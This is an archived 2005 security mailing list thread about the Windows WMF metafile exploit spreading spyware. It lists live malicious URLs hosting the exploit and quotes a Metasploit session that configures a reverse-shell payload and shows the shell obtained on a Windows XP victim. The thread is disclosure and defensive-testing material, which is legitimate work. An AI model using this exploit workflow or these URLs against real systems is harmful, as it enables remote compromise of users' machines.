

RE: [Full-disclosure] Someone wasted a nice bug on spyware...

RE: [Full-disclosure] Someone wasted a nice bug on spyware...

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2005-12/msg01349.html>

- *From:* "Eric Sites" <erics@xxxxxxxxxxxxxxxxxxxxxx>
 - *Date:* Tue, 27 Dec 2005 23:02:17 -0500
-

We are seeing a lot of website picking this exploit up.

Examples: DON'T CLICK

Crackz.ws
unionseek.com/d/t1/wmf_exp.htm
beehappy.biz/parthner3/xpl.wmf
<http://www.tfcco.com/xpl.wmf>
Iframeurl.biz

Cheers,

Eric Sites
VP of Research & Development
Sunbelt Software

email: eric@xxxxxxxxxxxxxxxxxxxxxx
Voice: 1-727-562-0101 x 276
Cell: 1-727-637-2414
Fax: 1-727-562-5199
Web: <http://www.sunbelt-software.com>
Physical Address:
101 N Garden Ave,
Suite 120
Clearwater, FL, 33755
United States

-----Original Message-----

From: full-disclosure-bounces@xxxxxxxxxxxxxxxxxxxxxx
[<mailto:full-disclosure-bounces@xxxxxxxxxxxxxxxxxxxxxx>] On Behalf Of H D Moore
Sent: Tuesday, December 27, 2005 10:57 PM
To: full-disclosure@xxxxxxxxxxxxxxxxxxxxxx
Subject: [Full-disclosure] Someone wasted a nice bug on spyware...

In reference to:
<http://www.securityfocus.com/archive/1/420288/30/0/threaded>

RE: [Full-disclosure] Someone wasted a nice bug on spyware...

RE: [Full-disclosure] Someone wasted a nice bug on spyware...

I ported the exploit to the Metasploit Framework in case anyone wants to test it without installing a thousand spyware apps...

Available from 'msfupdate' for MSF users, or in the 2.5 snapshot:

--http://metasploit.com/projects/Framework/exploits.html#ie_xp_pfv_metafile
--<http://metasploit.com/tools/framework-2.5-snapshot.tar.gz>

Tested on Win XP SP1/SP2 and Windows 2003 SP0/SP1.

-HD

+ --- --=[msfconsole v2.5 [147 exploits - 77 payloads]

```
msf > use ie_xp_pfv_metafile
msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf ie_xp_pfv_metafile(win32_reverse) > set LHOST 192.168.0.2
LHOST -> 192.168.0.2
msf ie_xp_pfv_metafile(win32_reverse) > exploit
```

[*] Starting Reverse Handler.

[*] Waiting for connections to <http://0.0.0.0:8080/anything.wmf>

[*] HTTP Client connected from 192.168.0.219:1060 using Windows XP

[*] Got connection from 192.168.0.2:4321 <-> 192.168.0.219:1061

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\XXXX\Desktop>

On Tuesday 27 December 2005 14:20, noemailpls@xxxxxxxxxxxxxxx wrote:

> Warning the following URL successfully exploited a fully patched

> windows xp system with a freshly updated norton anti virus.

>

> unionseek.com/d/t1/wmf_exp.htm

>

> The url runs a .wmf and executes the virus, f-secure will pick up the

> virus norton will not.

Full-Disclosure - We believe in it.

Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>

Hosted and sponsored by Secunia - <http://secunia.com/>

Full-Disclosure - We believe in it.

Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>

Hosted and sponsored by Secunia - <http://secunia.com/>

RE: [Full-disclosure] Someone wasted a nice bug on spyware...

- **Follow-Ups:**

- ◆ **RE: [Full-disclosure] Someone wasted a nice bug on spyware...**

- ◇ *From:* Paul

- Prev by Date: **[Full-disclosure] Someone wasted a nice bug on spyware...**

- Next by Date: **Re: [Full-disclosure] "I never said Moreover" Robert Lemos**

- Previous by thread: **Re: [Full-disclosure] Someone wasted a nice bug on spyware...**

- Next by thread: **RE: [Full-disclosure] Someone wasted a nice bug on spyware...**

- Index(es):

- ◆ **Date**

- ◆ **Thread**